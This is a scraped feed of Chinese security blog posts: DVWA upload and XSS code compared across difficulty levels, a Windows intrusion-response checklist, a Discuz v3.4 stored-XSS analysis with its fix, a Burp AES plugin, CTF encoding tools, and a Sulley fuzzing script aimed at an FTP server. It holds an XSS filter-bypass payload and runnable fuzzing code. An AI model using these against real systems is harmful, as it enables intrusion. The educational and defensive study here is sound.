            imagepng( $img, $temp_file, <span class="hljs-number">9</span>); 
        } 
        imagedestroy( $img ); 

        <span class="hljs-comment">// Can we move the file to the web root from the temp folder? </span>
        <span class="hljs-keyword">if</span>( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) { 
            <span class="hljs-comment">// Yes! </span>
            <span class="hljs-keyword">echo</span> <span class="hljs-string">"&lt;pre&gt;&lt;a href='file:///%24%7Btarget_path%7D%24%7Btarget_file%7D'&gt;${target_file}&lt;/a&gt; succesfully uploaded!&lt;/pre&gt;"</span>; 
        } 
        <span class="hljs-keyword">else</span> { 
            <span class="hljs-comment">// No </span>
            <span class="hljs-keyword">echo</span> <span class="hljs-string">'&lt;pre&gt;Your image was not uploaded.&lt;/pre&gt;'</span>; 
        } 

        <span class="hljs-comment">// Delete any temp files </span>
        <span class="hljs-keyword">if</span>( file_exists( $temp_file ) ) 
            unlink( $temp_file ); 
    } 
    <span class="hljs-keyword">else</span> { 
        <span class="hljs-comment">// Invalid file </span>
        <span class="hljs-keyword">echo</span> <span class="hljs-string">'&lt;pre&gt;Your image was not uploaded. We can only accept JPEG or PNG images.&lt;/pre&gt;'</span>; 
    } 
} 

<span class="hljs-comment">// Generate Anti-CSRF token </span>
generateSessionToken(); 

<span class="hljs-meta">?&gt;</span></span>

这个代码规范里,除了有之前所说的一些限制外,还加上了随机id与文件名结合MD5编码作为文件名,这会让webshell连接的时候找不到具体的文件而吃闭门羹。而且使用了imagecreatefromjpeg()函数来对上次的图进行了重构,去除了多余的元数据,使得webshell无法隐匿在图片里面。这样一来双重保险下,彻底断绝了upload漏洞的可能。当然这里仍旧加入了Anti-CSRFtoken来防止CSRF攻击。

XSS

反射型

反射型xss是一种attack通过操作url,web应用将attack输入的url参数不加过滤或者过滤不全的情况下直接回显到客户端,造成前端脚本注入执行(多是JS执行),读者可以通过以下的实例看到漏洞的产生细节。当然在反射型xss中有一种别具一格的漏洞利用方式,那就是DOM型xss,这种类型的xss不会直接出现拼接到源码中,而是js在运行时操作dom对象来实现输出。DVWA只对xss笼统的归纳,归纳为反射型和存储型。那么我们就先对这两种编码规范进行理解(把dom 型xss放一放)。由于本身的代码量不大,所以直接给出所有反射型代码如下:

Low level

<span class="php"><span class="hljs-meta">&lt;?php</span> 

<span class="hljs-comment">// Is there any input? </span>
<span class="hljs-keyword">if</span>( array_key_exists( <span class="hljs-string">"name"</span>, $_GET ) &amp;&amp; $_GET[ <span class="hljs-string">'name'</span> ] != <span class="hljs-keyword">NULL</span> ) { 
    <span class="hljs-comment">// Feedback for end user </span>
    <span class="hljs-keyword">echo</span> <span class="hljs-string">'&lt;pre&gt;Hello '</span> . $_GET[ <span class="hljs-string">'name'</span> ] . <span class="hljs-string">'&lt;/pre&gt;'</span>; 
} 

<span class="hljs-meta">?&gt;</span></span>

Medium level

<span class="php"><span class="hljs-meta">&lt;?php</span> 

<span class="hljs-comment">// Is there any input? </span>
<span class="hljs-keyword">if</span>( array_key_exists( <span class="hljs-string">"name"</span>, $_GET ) &amp;&amp; $_GET[ <span class="hljs-string">'name'</span> ] != <span class="hljs-keyword">NULL</span> ) { 
    <span class="hljs-comment">// Get input </span>
    $name = str_replace( <span class="hljs-string">'&lt;script&gt;'</span>, <span class="hljs-string">''</span>, $_GET[ <span class="hljs-string">'name'</span> ] ); 

    <span class="hljs-comment">// Feedback for end user </span>
    <span class="hljs-keyword">echo</span> <span class="hljs-string">"&lt;pre&gt;Hello ${name}&lt;/pre&gt;"</span>; 
} 

<span class="hljs-meta">?&gt;</span></span>

High level

<span class="php"><span class="hljs-meta">&lt;?php</span> 

<span class="hljs-comment">// Is there any input? </span>
<span class="hljs-keyword">if</span>( array_key_exists( <span class="hljs-string">"name"</span>, $_GET ) &amp;&amp; $_GET[ <span class="hljs-string">'name'</span> ] != <span class="hljs-keyword">NULL</span> ) { 
    <span class="hljs-comment">// Get input </span>
    $name = preg_replace( <span class="hljs-string">'/&lt;(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i'</span>, <span class="hljs-string">''</span>, $_GET[ <span class="hljs-string">'name'</span> ] );

    <span class="hljs-comment">// Feedback for end user </span>
    <span class="hljs-keyword">echo</span> <span class="hljs-string">"&lt;pre&gt;Hello ${name}&lt;/pre&gt;"</span>; 
} 

<span class="hljs-meta">?&gt;</span></span>

Impossible level

<span class="php"><span class="hljs-meta">&lt;?php</span> 

<span class="hljs-comment">// Is there any input? </span>
<span class="hljs-keyword">if</span>( array_key_exists( <span class="hljs-string">"name"</span>, $_GET ) &amp;&amp; $_GET[ <span class="hljs-string">'name'</span> ] != <span class="hljs-keyword">NULL</span> ) { 
    <span class="hljs-comment">// Check Anti-CSRF token </span>
    checkToken( $_REQUEST[ <span class="hljs-string">'user_token'</span> ], $_SESSION[ <span class="hljs-string">'session_token'</span> ], <span class="hljs-string">'index.php'</span> ); 

    <span class="hljs-comment">// Get input </span>
    $name = htmlspecialchars( $_GET[ <span class="hljs-string">'name'</span> ] ); 

    <span class="hljs-comment">// Feedback for end user </span>
    <span class="hljs-keyword">echo</span> <span class="hljs-string">"&lt;pre&gt;Hello ${name}&lt;/pre&gt;"</span>; 
} 

<span class="hljs-comment">// Generate Anti-CSRF token </span>
generateSessionToken(); 

<span class="hljs-meta">?&gt;</span></span>

通过以上的代码范例可以看到,在medium和high的防御措施上,仍旧是黑名单式的过滤,而且思考的很狭隘,只是过滤了<script>标签,medium中直接硬编码的黑名单最不可取,别说换标签,直接大小写绕过;在High级别里面,通过正则,避免了<script>标签使用的可能,但是能够触发js的标签远不止这一个,随便一个如<img src=1 onerror=[xss]>都是可以绕过的。可以想到基于黑名单的策略是很容易疏漏的,不可取。在impossible中,直接对输入进行htnlspecilchars()编码转换,杜绝了xss。

存储型

注意下面的代码只是偏向于服务器对用户的输入不经过验证处理就直接入库,导致下次取出展现到前端的时候出现xss。代码没有包含从数据库取出的操作部分。因为只要从用户获取到数据后进行了严格的验证处理,就可以避免存储型xss,所以最终原因不是从数据库取出部分,所以DVWA省略掉了。出于篇幅原因,在DVWA的存储型的漏洞复现中的缺陷细节和反射型类似,都是标签,正则过滤不全。就不再赘述,现把impossible代码规范列出:

<span class="php"><span class="hljs-meta">&lt;?php</span> 

<span class="hljs-keyword">if</span>( <span class="hljs-keyword">isset</span>( $_POST[ <span class="hljs-string">'btnSign'</span> ] ) ) { 
    <span class="hljs-comment">// Check Anti-CSRF token </span>
    checkToken( $_REQUEST[ <span class="hljs-string">'user_token'</span> ], $_SESSION[ <span class="hljs-string">'session_token'</span> ], <span class="hljs-string">'index.php'</span> ); 

    <span class="hljs-comment">// Get input </span>
    $message = trim( $_POST[ <span class="hljs-string">'mtxMessage'</span> ] ); 
    $name    = trim( $_POST[ <span class="hljs-string">'txtName'</span> ] ); 

    <span class="hljs-comment">// Sanitize message input </span>
    $message = stripslashes( $message ); 
    $message = mysql_real_escape_string( $message ); 
    $message = htmlspecialchars( $message ); 

    <span class="hljs-comment">// Sanitize name input </span>
    $name = stripslashes( $name ); 
    $name = mysql_real_escape_string( $name ); 
    $name = htmlspecialchars( $name ); 

    <span class="hljs-comment">// Update database </span>
    $data = $db-&gt;prepare( <span class="hljs-string">'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );'</span> ); 
    $data-&gt;bindParam( <span class="hljs-string">':message'</span>, $message, PDO::PARAM_STR ); 
    $data-&gt;bindParam( <span class="hljs-string">':name'</span>, $name, PDO::PARAM_STR ); 
    $data-&gt;execute(); 
} 

<span class="hljs-comment">// Generate Anti-CSRF token </span>
generateSessionToken(); 

<span class="hljs-meta">?&gt;</span></span>

可以看到代码中对txtName和mtxMessage用htmlspecialchars()转义成了html实体,但是仅有这个是不够的,我们从前面的函数解释可以了解到,这个函数在不加ENT_QUOTES参数是默认不转义’,而且该函数不考虑\(容易造成sql注入,语句单引号被转义问题,当然数据库交互不是PDO模式才有可能存在sql注入),这样仍旧会造成xss,好在代码之前还使用了stripslashes()和mysql_real_escape_string()来分别对’和\进行过,从而杜绝了xss。

参考文献

https://www.sitepoint.com/top-10-php-security-vulnerabilities/

http://blog.jobbole.com/53821/

https://www.owasp.org/index.php/PHP_Configuration_Cheat_Sheet

http://www.dvwa.co.uk/

https://github.com/Go0s/LFIboomCTF

from

The post 浅谈php安全规范 禁用危险函数 敏感配置 appeared first on 🔰雨苁ℒ🔰.


window应急响应 入侵排查思路 实战演练

$
0
0

window应急响应 入侵排查思路 实战演练

window应急响应 手机验证码常见漏洞

当企业发生黑客入侵、系统崩溃或其它影响业务正常运行的安全事件时,急需第一时间进行处理,使企业的网络信息系统在最短时间内恢复正常工作,进一步查找入侵来源,还原入侵事故过程,同时给出解决方案与防范措施,为企业挽回或减少经济损失

0×00 前言

常见的应急响应事件分类:

web入侵:网页挂马、主页篡改、Webshell

系统入侵:病毒木马、勒索软件、远控后门

网络攻击:DDOS攻击、DNS劫持、ARP欺骗

针对常见的攻击事件,结合工作中应急响应事件分析和解决的方法,总结了一些Window服务器入侵排查的思路。

0×01 入侵排查思路

一、检查系统账号安全

1、查看服务器是否有弱口令,远程管理端口是否对公网开放。

检查方法:据实际情况咨询相关服务器管理员。

2、查看服务器是否存在可疑账号、新增账号。

检查方法:打开 cmd 窗口,输入lusrmgr.msc命令,查看是否有新增/可疑的账号,如有管理员群组的(Administrators)里的新增账户,如有,请立即禁用或删除掉。

3、查看服务器是否存在隐藏账号、克隆账号。

检查方法:a、打开注册表 ,查看管理员对应键值。b、使用D盾_web查杀工具,集成了对克隆账号检测的功能。

window应急响应

4、结合日志,查看管理员登录时间、用户名是否存在异常。

检查方法:

a、Win+R打开运行,输入“eventvwr.msc”,回车运行,打开“事件查看器”。

b、导出Windows日志–安全,利用Log Parser进行分析。

window应急响应

二、检查异常端口、进程

1、检查端口连接情况,是否有远程连接、可疑连接。

检查方法:

a、netstat -ano 查看目前的网络连接,定位可疑的ESTABLISHED

b、根据netstat 定位出的pid,再通过tasklist命令进行进程定位 tasklist  | findstr “PID”

window应急响应

2、进程

检查方法:

a、开始–运行–输入msinfo32,依次点击“软件环境→正在运行任务”就可以查看到进程的详细信息,比如进程路径、进程ID、文件创建日期、启动时间等。

b、打开D盾_web查杀工具,进程查看,关注没有签名信息的进程。

c、通过微软官方提供的 Process Explorer 等工具进行排查 。

d、查看可疑的进程及其子进程。可以通过观察以下内容:

没有签名验证信息的进程

没有描述信息的进程

进程的属主

进程的路径是否合法

CPU或内存资源占用长时间过高的进程

3、小技巧:

a、查看端口对应的PID: netstat -ano | findstr “port”

b、查看进程对应的PID:任务管理器–查看–选择列–PID 或者  tasklist  | findstr “PID”

c、查看进程对应的程序位置:

任务管理器–选择对应进程–右键打开文件位置

运行输入 wmic,cmd界面 输入  process

d、tasklist /svc   进程–PID–服务

e、查看Windows服务所对应的端口:

%system%/system32/drivers/etc/services(一般%system%就是C:\Windows)

三、检查启动项、计划任务、服务

1、检查服务器是否有异常的启动项。

    • 检查方法:

a、登录服务器,单击【开始】>【所有程序】>【启动】,默认情况下此目录在是一个空目录,确认是否有非业务程序在该目录下。            b、单击开始菜单 >【运行】,输入 msconfig,查看是否存在命名异常的启动项目,是则取消勾选命名异常的启动项目,并到命令中显示的路径删除文件。            c、单击【开始】>【运行】,输入 regedit,打开注册表,查看开机启动项是否正常,特别注意如下三个注册表项:

HKEY_CURRENT_USER\software\micorsoft\windows\currentversion\run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce

检查右侧是否有启动异常的项目,如有请删除,并建议安装杀毒软件进行病毒查杀,清除残留病毒或木马。

d、利用安全软件查看启动项、开机时间管理等。

e、组策略,运行gpedit.msc。

window应急响应

2、检查计划任务

    • 检查方法:

a、单击【开始】>【设置】>【控制面板】>【任务计划】,查看计划任务属性,便可以发现木马文件的路径。

b、单击【开始】>【运行】;输入 cmd,然后输入at,检查计算机与网络上的其它计算机之间的会话或计划任务,如有,则确认是否为正常连接。

3、服务自启动

    • 检查方法:单击【开始】>【运行】,输入services.msc,注意服务状态和启动类型,检查是否有异常服务。

四、检查系统相关信息

1、查看系统版本以及补丁信息

  • 检查方法:单击【开始】>【运行】,输入systeminfo,查看系统信息

2、查找可疑目录及文件

  • 检查方法:a、 查看用户目录,新建账号会在这个目录生成一个用户目录,查看是否有新建用户目录。Window 2003  C:\Documents and SettingsWindow 2008R2  C:\Users\b、单击【开始】>【运行】,输入%UserProfile%\Recent,分析最近打开分析可疑文件。c、在服务器各个目录,可根据文件夹内文件列表时间进行排序,查找可疑文件。

五、自动化查杀

1、病毒查杀

  • 检查方法:下载安全软件,更新最新病毒库,进行全盘扫描。

2、webshell查杀

  • 检查方法:选择具体站点路径进行webshell查杀,建议使用两款webshell查杀工具同时查杀,可相互补充规则库的不足。

六、日志分析

1、系统日志

  • 分析方法:a、前提:开启审核策略,若日后系统出现故障、安全事故则可以查看系统的日志文件,排除故障,追查入侵者的信息等。b、Win+R打开运行,输入“eventvwr.msc”,回车运行,打开“事件查看器”。C、导出应用程序日志、安全日志、系统日志,利用Log Parser进行分析。

2、WEB访问日志

  • 分析方法:a、找到中间件的web日志,打包到本地方便进行分析。b、推荐工具:Window下,推荐用 EmEditor 进行日志分析,支持大文本,搜索效率还不错。 Linux下,使用Shell命令组合查询分析

0×03 工具篇

病毒分析 :

PCHunter:http://www.xuetr.com
火绒剑:https://www.huorong.cn
Process Explorer:https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer
processhacker:https://processhacker.sourceforge.io/downloads.php
autoruns:https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns
OTL:https://www.bleepingcomputer.com/download/otl/

病毒查杀:

卡巴斯基:http://devbuilds.kaspersky-labs.com/devbuilds/KVRT/latest/full/KVRT.exe  
(推荐理由:绿色版、最新病毒库)

大蜘蛛:http://free.drweb.ru/download+cureit+free
(推荐理由:扫描快、一次下载只能用1周,更新病毒库)

火绒安全软件:https://www.huorong.cn
360杀毒:http://sd.360.cn/download_center.html

病毒动态:

CVERC-国家计算机病毒应急处理中心:http://www.cverc.org.cn
微步在线威胁情报社区:https://x.threatbook.cn
火绒安全论坛:http://bbs.huorong.cn/forum-59-1.html
爱毒霸社区:http://bbs.duba.net
腾讯电脑管家:http://bbs.guanjia.qq.com/forum-2-1.html

在线病毒扫描网站:

http://www.virscan.org         //多引擎在线病毒扫描网 v1.02,当前支持 41 款杀毒引擎    
https://habo.qq.com             //腾讯哈勃分析系统
https://virusscan.jotti.org      //Jotti恶意软件扫描系统
http://www.scanvir.com        //针对计算机病毒、手机病毒、可疑文件等进行检测分析

webshell查杀:

D盾_Web查杀:http://www.d99net.net/index.asp
河马webshell查杀:http://www.shellpub.com
Safe3:http://www.uusec.com/webshell.zip

from

The post window应急响应 入侵排查思路 实战演练 appeared first on 🔰雨苁ℒ🔰.

Discuz v3.4 xss漏洞 排行页面存储型XSS漏洞

$
0
0

Discuz v3.4 xss漏洞 暗网网址 250个

Discuz v3.4 xss漏洞

Discuz v3.4 xss漏洞

简要分析

source/module/misc/misc_ranklist.php:166

<?php

function getranklist_members($offset = 0, $limit = 20) {
require_once libfile('function/forum');
$members = array();
$topusers = C::t('home_show')->fetch_all_by_unitprice($offset, $limit, true);

foreach($topusers as $member) {
$member['avatar'] = avatar($member['uid'], 'small');
$member['note'] = dhtmlspecialchars($member['note']);
$members[] = $member;
}
return $members;
}

 

Dz在此处获取到

$member['note']
后调用了
dhtmlspecialchars
进行过滤,在source/function/function_core.php:203 会对’&’, ‘“‘, ‘<’, ‘>’进行实体编码。
<?php

function dhtmlspecialchars($string, $flags = null) {
if(is_array($string)) {
。。。
} else {
if($flags === null) {
$string = str_replace(array('&', '"', '<', '>'), array('&amp;', '&quot;', '&lt;', '&gt;'), $string);

} else {
。。。
}
return $string;
}

 

getranklist_members
返回后 source/include/misc/misc_ranklist_index.php:113
<?php
。。。
if($ranklist_setting['member']['available']) {
$memberlist = getranklist_members(0, 27);
}
。。。
include template('diy:ranklist/ranklist');

 

进行模板的渲染在 data/template/1_diy_ranklist_ranklist.tpl.php:32

<?php if($memberlist) { ?>
<a href="home.php?mod=space&amp;uid=<?php echo $memberlist['0']['uid'];?>&amp;do=profile" target="_blank" id="bid_<?php echo $memberlist['0']['uid'];?>" class="hm" <?php if($memberlist['0']['note']) { ?> onmouseover="showTip(trhis)" tip="<?php echo $memberlist['0']['username'];?>: <?php echo $memberlist['0']['note'];?>"<?php } ?>><?php echo avatar($memberlist[0][uid],middle);?></a>
<?php } ?>

 

可以看到在

tip
属性中输出了
$memberlist['0']['note']
。在之前有一个
onmouseover
事件,跟入
showTip(trhis)
 在 static/js/common.js:1062
function showTip(ctrlobj) {
$F('_showTip', arguments);
}

 

跟入

_showTip
,在 static/js/common_extra.js:912
function _showTip(ctrlobj) {
if(!ctrlobj.id) {
ctrlobj.id = 'tip_' + Math.random();
}
menuid = ctrlobj.id + '_menu';
if(!$(menuid)) {
var div = document.createElement('div');
div.id = ctrlobj.id + '_menu';
div.className = 'tip tip_4';
div.style.display = 'none';
div.innerHTML = '<div class="tip_horn"></div><div class="tip_c">' + ctrlobj.getAttribute('tip') + '</div>';
$('append_parent').appendChild(div);
}
$(ctrlobj.id).onmouseout = function () { hideMenu('', 'prompt'); };
showMenu({'mtype':'prompt','ctrlid':ctrlobj.id,'pos':'12!','duration':2,'zindex':JSMENU['zIndex']['prompt']});
}

 

通过

ctrlobj.getAttribute('tip')
获取tip属性的值,由于
getAttribute
获取的内容会自动反转义,即前面在
dhtmlspecialchars
编码过的内容又被解码了一次。此后拼接到div标签的
innerHTML
中,最后输出到页面上造成了xss

关于

getAttribute
,可以用下面代码测试:
<html>
<div name="&lt;a&gt;" id="div">test</div>
<script>
div1 = document.getElementById("div");
align = div1.getAttribute("name");

alert(align);
</script>

 

漏洞复现

该CMS中,排行榜功能是默认开启的。在地址 http://127.0.0.1/misc.php?mod=ranklist&type=member 的上榜宣言中输入payload

Discuz v3.4 xss漏洞

在 http://127.0.0.1/misc.php?mod=ranklist 当鼠标移动到头像上触发

onmouseover
事件,执行xss

Discuz v3.4 xss漏洞

修复方案

Discuz v3.4 xss漏洞

多增加一次

dhtmlspecialchars

The post Discuz v3.4 xss漏洞 排行页面存储型XSS漏洞 appeared first on 🔰雨苁ℒ🔰.

AES解密工具 burpsuite插件 AES Killer (Burpsuite Plugin)

$
0
0

AES解密工具 burpsuite插件 AES Killer (Burpsuite Plugin)

AES解密工具 高级加密标准(缩写:AES),在密码学中又称Rijndael加密法,是美国联邦政府采用的一种区块加密标准

Burpsuite Plugin to decrypt AES Encrypted mobile app traffic

这个Burpsuite 插件用来解密AES加密的移动应用流量

AES解密工具

Requirements 必备工具和环境
Burpsuite
Java

Tested on 已经在如下平台测试通过

  • Burpsuite 1.7.36
  • Windows 10
  • xubuntu 18.04
  • Kali Linux 2018

What it does 它能做什么

  • Decrypt AES Encrypted traffic on proxy tab     解密包中的AES加密
  • Decrypt AES Encrypted traffic on proxy, scanner, repeater and intruder    解密burpsuie中proxy、scanner、repeater、intruder模块中的AES加密

How it works  它是怎么工作的

  • Require AES Encryption Key (Can be obtained by reversing mobile app) 需要AES加密密钥(可以通过撤消移动应用程序获得)
  • Require AES Encryption Initialize Vector (Can be obtained by reversing mobile app) 需要AES加密初始化矢量(可以通过反转移动应用程序获得)
  • Request Parameter (Leave blank in case of whole request body) 请求参数(在整个请求体的情况下留空)
  • Response Parameter (Leave blank in case of whole response body) 响应参数(在整个响应体的情况下留空)
  • Character Separated with space for obfuscation on request/response 字符与空间分隔,以便在请求/响应时进行模糊处理
  • URL/Host of target to filter request and response 用于过滤请求和响应的目标的URL /主机

How to Install 如何安装这个插件

Download jar file from Release and add in burpsuite

AES解密工具

Original Request/Response  原始请求/响应

AES解密工具

Decrypted Request/Response 解密请求/响应

AES解密工具

Burp Scanner 的使用 burpsuite实战指南 第七章

下载地址:插件下载

The post AES解密工具 burpsuite插件 AES Killer (Burpsuite Plugin) appeared first on 🔰雨苁ℒ🔰.

ctf编码工具汇总 Ascii编码 Html Entity 编码

$
0
0

ctf编码工具汇总 ctf工具包

ctf编码工具汇总

Hill(希尔密码)Polybius Square (波利比奥斯方阵密码)Playfair(普莱菲尔密码)Vigenère(维吉尼亚密码)Autokey(自动密钥密码)Beaufort(博福特密码)Running Key(滚动密钥密码)Porta(Porta 密码)Affine(仿射密码)

使用

方法一 直接下载可执行程序

法法二 使用Electron运行

功能介绍

  • 编码转换
    • Ascii 编码
    • Web 常用编码
    • Hex 编码
    • Unicode 编码
    • Base64(Base16、Base32、Base58)
    • Url 编码
    • Html Entity 编码
    • Escape 编码
    • Quoted-printable 编码
    • Morse Code(莫尔斯电码)
    • Tap Code(敲击码)
  • 古典密码
    • Rail-fence(栅栏密码)
    • Atbash(埃特巴什码)
    • Caesar(凯撒密码)
    • ROT13(ROT5、ROT18、ROT47)
    • Simple Substitution(简单替换密码)
    • Hill(希尔密码)
    • Polybius Square (波利比奥斯方阵密码)
    • Playfair(普莱菲尔密码)
    • Vigenère(维吉尼亚密码)
    • Autokey(自动密钥密码)
    • Beaufort(博福特密码)
    • Running Key(滚动密钥密码)
    • Porta(Porta 密码)
    • Affine(仿射密码)
    • Baconian(培根密码)
    • ADFGX(ADFGX 密码)
    • ADFGVX(ADFGVX 密码)
    • Bifid(双密码)
    • Four-Square(四方密码)
    • Straddle Checkerboard (跨棋盘密码)
  • 密码学
    • 常用 Hash
    • MD5(MD2、MD4、RIPEMD)
    • SHA(SHA1、SHA256、SHA512、SHA224、SHA384)
    • AES
    • RSA
    • DES
    • 3DES(TripleDES)
    • RC4
    • Rabbit
    • Blowfish
  • 图像编码
    • Base64 图像编码
  • 其他编码
    • JSFuck
    • Jother
  • 其他工具
    • Mime Type
    • RegExp Tester(正则表达式)

项目地址

The post ctf编码工具汇总 Ascii编码 Html Entity 编码 appeared first on 🔰雨苁ℒ🔰.

漏洞评估 渗透测试第二部分 Pentest Wiki Part2

$
0
0

漏洞评估 ctf工具包

漏洞评估

确定了最可行的攻击方法之后,您需要考虑如何访问目标。在脆弱性分析过程中,您可以结合前一阶段学到的信息,并用它来了解哪些攻击是可行的。其中,漏洞分析考虑了端口和漏洞扫描,通过抓取banner收集的数据以及收集情报期间收集的信息。

评估分类 :

1 网络评估
2 Web应用程序评估
3 数据库评估

网络评估

Fuzzers-sulley

代码(fuzz_PCManftpd32.py)

#coding=utf-8
# 视频1使用Sulley框架的实现fuzz
# http://www.dfate.de/public/index.php/post/exploit-development-series-video-1-practical-fuzzing-basics-using-the-sulley-framework
# https://www.exploit-db.com/exploits/37731/

# -------------------------------------------------------------------
# Usage:
# C:\Fuzzing\sulley>python network_monitor.py -d 0 -f "port 21" -P audit
# C:\Fuzzing\sulley>python process_monitor.py -c audit\pcmanftpd_crashbin -p "PCManFTPD2.exe"

# -------------------------------------------------------------------
# 分析:

"""
220 PCMan's FTP Server 2.0 Ready.
USER anonymous
331 User name okay, need password.
PASS password12345
230 User logged in
PORT 192,168,1,106,206,27
200 Command okay.
STOR demo2.txt
150 File status okay; Open data connection.
226 Data Sent okay.
PORT 192,168,1,106,206,28
200 Command okay.
LIST
150 File status okay; Open data connection.
226 Data Sent okay.
PORT 192,168,1,106,206,29
200 Command okay.
RETR demo2.txt
150 File status okay; Open data connection.
226 Data Sent okay.
QUIT
"""

from sulley import *

# 总体概述
#1.创建请求(定义模糊语法)
#2.定义会话
#3.定义目标
#4.fuzz!

# s_initialize - 构建一个新的请求
# s_static ("USER") - 一个静态(未改变)的字符串,不会被fuzz
# s_delin(" ") - 可以fuzz的分隔符,将有不同的使用s_string的变动
# s_string("anonymous") - 一个将被变动的字符串。 包含比s_delim更多的变动

# -------------------------------------------------------------------
# 语法测试
s_initialize("user")
s_static("USER")
s_delim(" ", fuzzable=False)
s_string("anonymous")
s_static("\r\n")

s_initialize("pass")
s_static("PASS")
s_delim(" ", fuzzable=False)
s_string("pass12345")
s_static("\r\n")

s_initialize("put")
s_static("PUT")
s_delim(" ", fuzzable=False)
s_string("fuzz_strings")
s_static("\r\n")

s_initialize("stor")
s_static("STOR")
s_delim(" ", fuzzable=True)
s_string("AAAA")
s_static("\r\n")

s_initialize("mkd")
s_static("MKD")
s_delim(" ", fuzzable=False)
s_string("AAAA")
s_static("\r\n")

# -------------------------------------------------------------------
# 定义pre_send函数。 三次握手后会立即执行
def receive_ftp_banner(sock):
    data = sock.recv(1024)
    print(data)

# -------------------------------------------------------------------
# 定义会话
# 会话参数
SESSION_FILENAME = "pcmanftpd-session"  # 跟踪当前的fuzz状态
SLEEP_TIME = 0.5                        # 在两次fuzz尝试之间暂停
TIMEOUT = 5                             # 没有连接5秒后,fuzz会超时
CRASH_THRESHOLD = 4                     # 4次崩溃后,参数将被跳过

mysession = sessions.session(
    session_filename=SESSION_FILENAME,
    sleep_time=SLEEP_TIME,
    timeout=TIMEOUT,
    crash_threshold=CRASH_THRESHOLD)

mysession.pre_send = receive_ftp_banner
mysession.connect(s_get("user"))
mysession.connect(s_get("user"), s_get("pass"))
mysession.connect(s_get("pass"), s_get("stor"))
mysession.connect(s_get("pass"), s_get("mkd"))
mysession.connect(s_get("pass"), s_get("put"))

# -------------------------------------------------------------------
# 绘制代表fuzz路径的图形。
with open("session_test.udg", "w+") as f:
    f.write(mysession.render_graph_udraw())

# -------------------------------------------------------------------
# 一些概述输出

print("Number of mutation during one case: %s\n" % str(s_num_mutations()))
print("Total number of mutations: %s\n" % str(s_num_mutations() * 5))

decision = raw_input("Do you want to continue?(y/n): ")
if decision == "n":
    exit()

# -------------------------------------------------------------------
# 定义目标具体参数
host = "192.168.1.107"
ftp_port = 21
netmon_port = 26001
procmon_port = 26002
target = sessions.target(host, ftp_port)
target.procmon = pedrpc.client(host, procmon_port)
target.netmon = pedrpc.client(host, netmon_port)

target.procmon_options = {
    "proc_name": "pcmanftpd2.exe",
    "stop_commands": ["wmic process where (name='PCManFTPD2.exe') call terminate"],
    "start_commands": ["C:\\PCManFTP\\PCManFTPD2.exe"]
}

# 将目标添加到会话
mysession.add_target(target)

# -------------------------------------------------------------------
# 让我们开始搞事情

print("Starting fuzzing now")
mysession.fuzz()

# 开启fuzz进程
# 也可以通过网页界面(http://127.0.0.1:26000)查看当前状态

 

代码分析

该代码通过sulley框架来进行fuzz测试,首先进行语法测试,构造多个新请求(包括FTP的user、pass、put、stor、mkd),设置静态字符串和FUZZ字符串,然后定义pre_send三次握手后立即执行,定义会话及会话参数,绘制udg格式的fuzz路径图形,输入一些概述后定义目标具体参数,将目标添加到会话中,直接开始搞事情。

期间可以通过网页界面

(http://127.0.0.1:26000)
查看当前状态

Jenkins Hacking

  1. 如何部署jenkins?
  2. 如何利用jenkins服务器?

Jenkins是一个独立、开源的自动化服务器,可用于自动执行各种任务,如构建,测试和部署软件。Jenkins可以通过本地系统软件包Docker安装,甚至是独立运行在安装java运行环境的任何机器上。

如何部署jenkins?

这引导将使用“独立的”Jenkins发行版,该发行版要求最少使用Java 7,但建议使用Java 8。还建议使用超过512MB RAM的系统。

  1. 下载Jenkins.
  2. 在下载目录中打开终端并运行java -jar jenkins.war
  3. 在浏览器中打开http:// localhost:8080并按照说明完成安装。
  4. 许多Pipeline示例需要在与Jenkins相同的计算机上安装Docker。

请检查安装日志,如下:

root@lab:~/Downloads# java -jar jenkins.war
Running from: /root/Downloads/jenkins.war
webroot: $user.home/.jenkins
Mar 15, 2017 5:03:49 AM Main deleteWinstoneTempContents
WARNING: Failed to delete the temporary Winstone file /tmp/winstone/jenkins.war
Mar 15, 2017 5:03:50 AM org.eclipse.jetty.util.log.JavaUtilLog info
INFO: Logging initialized @6168ms
Mar 15, 2017 5:03:50 AM winstone.Logger logInternal
INFO: Beginning extraction from war file
Mar 15, 2017 5:04:05 AM org.eclipse.jetty.util.log.JavaUtilLog warn
WARNING: Empty contextPath
Mar 15, 2017 5:04:06 AM org.eclipse.jetty.util.log.JavaUtilLog info
INFO: jetty-9.2.z-SNAPSHOT
Mar 15, 2017 5:04:10 AM org.eclipse.jetty.util.log.JavaUtilLog info
INFO: NO JSP Support for /, did not find org.eclipse.jetty.jsp.JettyJspServlet
Jenkins home directory: /root/.jenkins found at: $user.home/.jenkins
Mar 15, 2017 5:04:20 AM org.eclipse.jetty.util.log.JavaUtilLog info
INFO: Started w.@30990c1b{/,file:/root/.jenkins/war/,AVAILABLE}{/root/.jenkins/war}
Mar 15, 2017 5:04:20 AM org.eclipse.jetty.util.log.JavaUtilLog info
INFO: Started ServerConnector@54227100{HTTP/1.1}{0.0.0.0:8080}
Mar 15, 2017 5:04:20 AM org.eclipse.jetty.util.log.JavaUtilLog info
INFO: Started @36602ms
Mar 15, 2017 5:04:20 AM winstone.Logger logInternal
INFO: Winstone Servlet Engine v2.0 running: controlPort=disabled
Mar 15, 2017 5:04:22 AM jenkins.InitReactorRunner$1 onAttained
INFO: Started initialization
Mar 15, 2017 5:04:23 AM jenkins.InitReactorRunner$1 onAttained
INFO: Listed all plugins
Mar 15, 2017 5:04:45 AM jenkins.InitReactorRunner$1 onAttained
INFO: Prepared all plugins
Mar 15, 2017 5:04:45 AM jenkins.InitReactorRunner$1 onAttained
INFO: Started all plugins
Mar 15, 2017 5:04:45 AM jenkins.InitReactorRunner$1 onAttained
INFO: Augmented all extensions
Mar 15, 2017 5:04:51 AM jenkins.InitReactorRunner$1 onAttained
INFO: Loaded all jobs
Mar 15, 2017 5:04:51 AM hudson.model.AsyncPeriodicWork$1 run
INFO: Started Download metadata
Mar 15, 2017 5:04:52 AM org.jenkinsci.main.modules.sshd.SSHD start
